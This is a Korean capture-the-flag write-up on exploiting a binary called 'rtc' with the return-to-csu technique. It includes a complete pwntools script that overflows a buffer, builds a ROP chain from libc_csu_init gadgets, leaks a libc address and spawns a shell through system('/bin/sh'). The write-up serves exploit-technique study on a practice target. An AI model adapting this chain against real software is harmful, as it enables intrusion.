https://jiravvit.tistory.com/entry/RTC-Return-to-CSU
자료를 참고하여 익스플로잇을 진행했다.
rtc 바이너리의 가젯을 찾아보니 pppr에 해당하는 가젯이 없다. 따라서 RTC 기법을 통해 해당 가젯을 이용할 수 있게끔 문제 풀이를 진행했다.
코드는 간단한다. read 함수에서 BOF -> ROP를 통해 system 함수를 실행시키면 된다.
다만 마땅한 gadget이 없어서 문제인데, libc_csu_init 부분에서 얻었다.
페이로드를 작성할 땐 csu_init -> csu_call 순으로 작성한다. 링크를 참조하면 무슨 값을 각각 넣어야하는 지 잘 나와 있다. 다만, 짚고갈 포인트는 다음과 같다.
r13을 rdx로, r14를 rsi로, r15d를 edi로 옮긴다.
여기서 든 생각은 gadget_2에서 r13, r14, r15를 제어할 수 있는데, 이후 바로 gadget_1를 사용함으로써
우리는 rdx, rsi, edi를 제어할 수 있다는 것이다.
* rdi가 아니라 edi라서 조금 아쉽지만 어차피 우리는 보통 첫번째 인자에 rbi의 8바이트 이내의 값을 넣기 때문에 노상관이다.
call [r12 + rbx*8] 여기서 우리가 원하는 주소를 실행할 수 있다고 생각할 수 있다. rbx에 0을 넣고 r12에 함수의 got 주소를 넣으면 된다.
또한, 내가 페이로드를 작성할땐 add rsp, 8 부분은 필요 없어서 가젯의 주소를 0x4006ba로 두었다.
익스플로잇 시나리오는 다음과 같다.
1. BOF 후 cus_init을 가젯으로 활용, write(1, read@got, 8)을 만들어 read의 실제 주소 구함
2. libc에서 가져온 read_offset과 read 실제 주소를 이용해 base 주소 구함 ( system, /bin/sh 실제 주소까지 구함 )
3. main 함수로 다시 돌아와 pr 가젯을 이용해 system('/bin/sh')을 실행
Exploit Code
from pwn import *
p = remote('ctf.j0n9hyun.xyz', 3025)
#p = process('./rtc')
e = ELF('./rtc')
libc = ELF('./libc.so.6')
binsh_offset = list(libc.search("/bin/sh\x00"))[0]
main = 0x4005f6
# pop rbx; pop rbp; pop r12; pop r13; pop t14; pop r15; ret
csu_init = 0x4006ba
csu_call = 0x4006a0
pr = 0x4006c3
read_got = e.got['read']
read_offset = libc.symbols['read']
write_got = e.got['write']
system_offset = libc.symbols['system']
pay = 'A' * 0x48
# write(1, read@got, 8) // ROP by using rtc
pay += p64(csu_init)
pay += p64(0) # rbx
pay += p64(1) # rbp
pay += p64(write_got) # r12
pay += p64(8) # r13 --> rdx
pay += p64(read_got) # r14 --> rsi
pay += p64(1) # r15 --> edi
pay += p64(csu_call)
pay += p64(0) * 7 # [r12 + rbx*8]
pay += p64(main)
p.sendlineafter('\n', pay)
#gdb.attach(p)
read = u64(p.recv(8))
log.info("read_addr : " + hex(read))
base = read - read_offset
system = base + system_offset
binsh = base + binsh_offset
log.info('system_addr : ' + hex(system))
pay1 = 'A' * 0x48
pay1 += p64(pr)
pay1 += p64(binsh)
pay1 += p64(system)
p.sendlineafter('\n', pay1)
p.interactive()